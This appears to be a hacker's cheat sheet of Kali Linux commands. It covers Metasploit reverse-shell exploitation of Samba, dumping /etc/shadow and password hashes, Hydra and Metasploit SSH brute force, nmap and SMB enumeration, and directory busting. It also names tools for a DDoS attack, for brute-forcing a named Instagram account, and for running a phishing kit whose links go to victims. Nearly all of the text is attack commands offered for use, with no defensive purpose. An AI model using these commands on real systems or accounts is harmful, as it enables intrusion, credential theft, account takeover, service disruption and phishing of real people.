set payload linux/x86/metsvc_bind_tcp set payload linux/x86/shell_reverse_tcp
set payload linux/x86/metsvc_reverse_tcp set payload linux/x86/shell_reverse_tcp_ipv6
set payload linux/x86/read_file

msf5 exploit(linux/samba/trans2open) > set payload linux/x86/shell_reverse_tcp

payload => linux/x86/shell_reverse_tcp
msf5 exploit(linux/samba/trans2open) > run

cat /etc/passwd

cat /etc/shadow

Finding wordlist location on Kali linux

root# .. /usr/share/wordlists/metasploit/ (double tab press)

root@kali:~# hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt ssh://192.168.136.129:22 -t 4 -V

root# msfconsole
msf5> search ssh
msf5> use auxiliary/scanner/ssh/ssh_login
msf5> options
msf5> set username root
msf5> set pass_file /usr/share/wordlists/metasploit/unix_passwords.tx
msf5> set rhosts 192.168.136.129
msf5> set threads 10
msf5> set verbose true
msf5> run

nmap -A -T4 -p- 10.10.10.190

nmap -sC -sV -p$ports 10.10.10.190
ports=$(nmap -p- –min-rate=1000 -T4 10.10.10.190 | grep ^[0-9] | cut -d ‘/’ -f 1 | tr ‘\n’ ‘,’ | sed s/,$//)

meterpreter> getuid
meterpreter> sysinfor
metepreter> hashdump
metepreter > shell

> smbclient -N -L \\\\192.168.136.129\\backup$
> dir
> get filename

root# dirbuster

open OWASP Dirbuster

target url: 10.10.10.20

select file list: /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

———————————————————————————–

DDOS attack – Hammer tool

root#git clone https://github.com/cyweb/hammer.git

cd hammer

python3 hammer.py -s 192.168.1.126 -p 80 -t 135


Instagram Bootforce with password list-

root#git clone https://github.com/Bitwise-01/Instagram-.git

root# cd Instagram-/

root# python3 instagram.py lockdownscs /root/Desktop/wordlist.txt -m 0


Phishing attack with kali linux

root# git clone https://github.com/htr-tech/zphisher.git

cd zphisher

root# ./zphisher.sh

List of method shows and share url to the vitms.